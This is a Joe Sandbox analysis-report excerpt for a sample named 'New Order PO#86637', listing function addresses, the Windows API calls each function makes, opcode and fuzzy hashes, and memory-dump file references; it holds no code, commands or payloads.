Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend_wcslen$_wcspbrk
String ID:
API String ID: 2886238975-0
Opcode ID: cda1f7e16000b3d6f1552df2769fac91363fb93f1f54a3f578086acf89ecf69d
Instruction ID: 7d4d19c59aaf55394df3596c947b25f6969e765268ec3300c5285dc4bbf20b28
Opcode Fuzzy Hash: cda1f7e16000b3d6f1552df2769fac91363fb93f1f54a3f578086acf89ecf69d
Instruction Fuzzy Hash: F7213A76B00208A6E730DF55ED81BEFB368EBA0310F10416FFF0896240E6794D55C799

Function 0046888B Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 004688B1
_fprintf.LIBCMT ref: 00468907
OutputDebugStringW.KERNEL32(00000000,?,00000000,?,?), ref: 0046891F
__setmode.LIBCMT ref: 00468950

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __setmode$DebugOutputString_fprintf
String ID:
API String ID: 1792727568-0
Opcode ID: 1ad8d8d19ebad69fc12c553a92627abd23c9aa4f6f7f42f57f8396caf8494ece
Instruction ID: 94d91137fd77379d51e6296772f15362c7f2cf1f8b16651245aa9cc134f84072
Opcode Fuzzy Hash: 1ad8d8d19ebad69fc12c553a92627abd23c9aa4f6f7f42f57f8396caf8494ece
Instruction Fuzzy Hash: 5411A1B2D0020477DB107BB69C469AF7B2C8B55728F04416EF91573243E97C6A4947AB

Function 0047A26A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1

GetWindowLongW.USER32(?,000000EC), ref: 0047A2DF
SetWindowLongW.USER32(?,000000EC,00000000), ref: 0047A2FA
SetWindowLongW.USER32(?,000000EC,00000000), ref: 0047A312
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001), ref: 0047A321

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 53dc7990cfeb01f65bcc542d15cac6368a2c86d5c8ae23ecc65d9f578e391a7a
Instruction ID: 4b457c036b32d13d4d6aa44b7b333d7b15c6210fa1ac615a770d46c951a2b689
Opcode Fuzzy Hash: 53dc7990cfeb01f65bcc542d15cac6368a2c86d5c8ae23ecc65d9f578e391a7a
Instruction Fuzzy Hash: E321C3322045146BD310AB19EC45F9BB798EF81334F20862BF859E72D1C779A855C7AC

Function 00434CC9 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 75stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00434C09: lstrlenW.KERNEL32(?), ref: 00434C1C
Part of subcall function 00434C09: lstrcpyW.KERNEL32(00000000,?), ref: 00434C44
Part of subcall function 00434C09: lstrcmpiW.KERNEL32(00000000,00000000), ref: 00434C78

lstrlenW.KERNEL32(?), ref: 00434CF6

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

lstrcpyW.KERNEL32(00000000,?), ref: 00434D1E
lstrcmpiW.KERNEL32(00000002,cdecl), ref: 00434D64

Strings

cdecl, xrefs: 00434D5A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen$_malloc
String ID: cdecl
API String ID: 3850814276-3896280584
Opcode ID: 21c69cf6c29ea855f725dfe2a9cb2720d4b8dbea94fc3a7d57af4f6d050de3c2
Instruction ID: b4b7f9d7485e9dcc41445171e378d0673d7e4b3d8a31a27b28546bfa00bfc119
Opcode Fuzzy Hash: 21c69cf6c29ea855f725dfe2a9cb2720d4b8dbea94fc3a7d57af4f6d050de3c2
Instruction Fuzzy Hash: 1521D276200301ABD710AF25DC45AEBB3A9FF99354F10583FF90687250EB39E945C7A9

Function 0046D402 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0045F645: WideCharToMultiByte.KERNEL32(00000000,00000000,5004C483,D29EE858,00000000,00000000,00000000,00000000,?,?,?,00467B75,?,00473BB8,00473BB8,?), ref: 0045F661

gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046D42D
WSAGetLastError.WSOCK32(00000000), ref: 0046D439
_memmove.LIBCMT ref: 0046D475
inet_ntoa.WSOCK32(?), ref: 0046D481

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide_memmovegethostbynameinet_ntoa
String ID:
API String ID: 2502553879-0
Opcode ID: c217391507a75a633327f3eae623a7fb2dd57c89b178c2547ebfa016f7fa05d4
Instruction ID: 24c3f219ec43f49587972b4c28f02db1d16d05b11a5808876a7c02c26e676da9
Opcode Fuzzy Hash: c217391507a75a633327f3eae623a7fb2dd57c89b178c2547ebfa016f7fa05d4
Instruction Fuzzy Hash: A7216F769001046BC700FBA6DD85C9FB7BCEF48318B10486BFC01B7241DA39EE058BA5

Function 00448C3C Relevance: 6.1, APIs: 4, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00448C69
GetWindowLongW.USER32(?,000000EC), ref: 00448C91
SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448CCA
SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D13

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: aa9ba785652a5e2d68973233cc9ee5be9ec2ae113b50a66827928a68bf1dc890
Instruction ID: 9d65767971b32091eca868ce8e4b461936feaca2c152e776436a997c982fc1ac
Opcode Fuzzy Hash: aa9ba785652a5e2d68973233cc9ee5be9ec2ae113b50a66827928a68bf1dc890
Instruction Fuzzy Hash: 782186711193009BE3209F18DD88B9FB7E4FBD5325F140B1EF994962D0DBB58448C755

Function 00458A61 Relevance: 6.1, APIs: 4, Instructions: 71networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,?,00000000,00000000,?), ref: 00458ABD
__WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00458ACF
accept.WSOCK32(00000000,00000000,00000000), ref: 00458ADE
WSAGetLastError.WSOCK32(00000000), ref: 00458B03

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: feb2d603c895e760471213290e220df4c8c9e23c071c6cdae6f1f3a6ceb811dc
Instruction ID: 6dce411450cb473f00463c700f03c36a20fe0f69cdcaeecb298670ce0bdbd9a3
Opcode Fuzzy Hash: feb2d603c895e760471213290e220df4c8c9e23c071c6cdae6f1f3a6ceb811dc
Instruction Fuzzy Hash: 032192716002049FD714EF69DD45BAAB7E8EB94310F10866EF988DB380DBB4A9808B94

Function 004368A0 Relevance: 6.1, APIs: 4, Instructions: 69windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 004368C2
SendMessageW.USER32(?,000000C9,?,00000000), ref: 004368D5
SendMessageW.USER32(?,000000C9,?,00000000), ref: 004368EC
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00436904

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 236e71af2ab5509716104e28957e7b962cfbcf4ba6a1ba9531cfd5eb7baefe48
Instruction ID: 15055718653181d31d708d6839b45d2b231db9ad4f5f2f8f789da6f3b04ac486
Opcode Fuzzy Hash: 236e71af2ab5509716104e28957e7b962cfbcf4ba6a1ba9531cfd5eb7baefe48
Instruction Fuzzy Hash: A7111275640208BFDB10DF68DC85F9AB7E8EF98750F11815AFD48DB340D6B1A9418FA0

Function 004301F8 Relevance: 6.1, APIs: 4, Instructions: 57windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00400000,00000000), ref: 00430242
GetStockObject.GDI32(00000011), ref: 00430258
SendMessageW.USER32(00000000,00000030,00000000), ref: 00430262
ShowWindow.USER32(00000000,00000000), ref: 0043027D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$CreateMessageObjectSendShowStock
String ID:
API String ID: 1358664141-0
Opcode ID: ad6f98361a8c00dabf9f53bae98ff29a7c8ddeda354316ac2ad0817ad8c48d31
Instruction ID: 87b955557270564ac2446a75def7de819d41fbc8528d619d8765837e6f615a12
Opcode Fuzzy Hash: ad6f98361a8c00dabf9f53bae98ff29a7c8ddeda354316ac2ad0817ad8c48d31
Instruction Fuzzy Hash: BD115172600504ABD755CF99DC59FDBB769AF8DB10F148319BA08932A0D774EC41CBA8

Function 00443C87 Relevance: 6.1, APIs: 4, Instructions: 57synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00443CA6
MessageBoxW.USER32(?,?,?,?), ref: 00443CDC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00443CF2
CloseHandle.KERNEL32(00000000), ref: 00443CF9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 229c650092e78496607f1920186e21dd31435e443465a7f1ce6d350790d3a3c2
Instruction ID: e6f874550e00e623fb34483f391c95d80eb5f5bc6ce026338450b862d26ff76c
Opcode Fuzzy Hash: 229c650092e78496607f1920186e21dd31435e443465a7f1ce6d350790d3a3c2
Instruction Fuzzy Hash: 48112572804114ABD710CF68ED08ADF3FACDF99721F10026AFC0493381D6B09A1083E9

Function 00430B87 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00430BA2
ScreenToClient.USER32(?,?), ref: 00430BC1
ScreenToClient.USER32(?,?), ref: 00430BE2
InvalidateRect.USER32(?,?,?,?,?), ref: 00430BFB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: ae0d0d06dcef6ed583fb9704f0ef5e529f18a40629d10526419e4a4e3dd97404
Instruction ID: ace0395ef2957b48f9d17fb026497d1a369c9e3160b5fb36bd9a4683c33ce433
Opcode Fuzzy Hash: ae0d0d06dcef6ed583fb9704f0ef5e529f18a40629d10526419e4a4e3dd97404
Instruction Fuzzy Hash: 561174B9D00209AFCB14DF98C8849AEFBB9FF98310F10855EE855A3304D774AA41CFA0

Function 00433908 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0043392E

Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50

__wsplitpath.LIBCMT ref: 00433950
__wcsicoll.LIBCMT ref: 00433974
__wcsicoll.LIBCMT ref: 0043398A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
String ID:
API String ID: 1187119602-0
Opcode ID: 68e3b32a9464b28f7030a0941ccdc911afb24839bc46986435f1213a6174ca5b
Instruction ID: cee1712abd0eced5cc96ea34974ed2185298bb9760f8079e64959bf12be8e646
Opcode Fuzzy Hash: 68e3b32a9464b28f7030a0941ccdc911afb24839bc46986435f1213a6174ca5b
Instruction Fuzzy Hash: 650121B2C0011DAACB14DF95DC41DEEB37CAB48314F04869EA60956040EA759BD88FE4

Function 00434963 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0043497B
_wcslen.LIBCMT ref: 00434983

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

_wcscpy.LIBCMT ref: 004349AB
_wcscat.LIBCMT ref: 004349B2

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$_malloc_wcscat_wcscpy
String ID:
API String ID: 1597257046-0
Opcode ID: 3c6fc8acff7e2f2e7aee9de07fb73a2c390eddda5e8305f0b40f95221864db4e
Instruction ID: 3a313011a65081929a098f39c1c59cfda42f2cbb237f2651e2b7e76e77134880
Opcode Fuzzy Hash: 3c6fc8acff7e2f2e7aee9de07fb73a2c390eddda5e8305f0b40f95221864db4e
Instruction Fuzzy Hash: 40016271200604BFC714EB66D885EABF3EDEFC9354B00852EFA168B651DB39E841C764

Function 0041F584 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(00000000,00416513), ref: 0041F587
__malloc_crt.LIBCMT ref: 0041F5B6
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041F5C3

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: EnvironmentStrings$Free__malloc_crt
String ID:
API String ID: 237123855-0
Opcode ID: 07fe547740a9b68c76983245d8bba65816afc234b1fe2171e551a8e4c438482c
Instruction ID: d6a98a4ee5591e13f27bf8bfb2f7094eea62761642478a01f8f101a8eeefaa10
Opcode Fuzzy Hash: 07fe547740a9b68c76983245d8bba65816afc234b1fe2171e551a8e4c438482c
Instruction Fuzzy Hash: D1F08277505220BB8A25BF35BC458DB277ADAD536531A443BF407C3206F66C8ECB82B9

Function 004556BE Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: DeleteDestroyObject$IconWindow
String ID:
API String ID: 3349847261-0
Opcode ID: 7c154be5abaa40db753a7e31a7690d619ba9064fd0fbdb090dba25900d6c1ce3
Instruction ID: b40ecd1d224a0eee13877c21127d2214a34fa415f2bf64fab3c1d23e87691ec4
Opcode Fuzzy Hash: 7c154be5abaa40db753a7e31a7690d619ba9064fd0fbdb090dba25900d6c1ce3
Instruction Fuzzy Hash: 60F03C74200601DBC720EF66EDD892B77ACEF49762B00452AFD01D7256D738DC49CB69

Function 0044B5E8 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0044B5F5
InterlockedExchange.KERNEL32(?,?), ref: 0044B603
LeaveCriticalSection.KERNEL32(?), ref: 0044B61A
LeaveCriticalSection.KERNEL32(?), ref: 0044B62C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: f874c154f8023f3ba0c2945d1949571bb5db8163ed48ea6956c7f1527a392a8b
Instruction ID: 403f3527bf09fa8cde02bf077099102ce48e3ba47acdf7e4c6f4aa39df9fcef1
Opcode Fuzzy Hash: f874c154f8023f3ba0c2945d1949571bb5db8163ed48ea6956c7f1527a392a8b
Instruction Fuzzy Hash: 78F05E36241104AF96145F59FD488EBB3ACEBE96317005A3FE5418361087A6E845CBB5

Function 004472F1 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266

MoveToEx.GDI32(?,?,?,00000000), ref: 00447317
LineTo.GDI32(?,?,?), ref: 00447326
EndPath.GDI32(?), ref: 00447336
StrokePath.GDI32(?), ref: 00447344

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
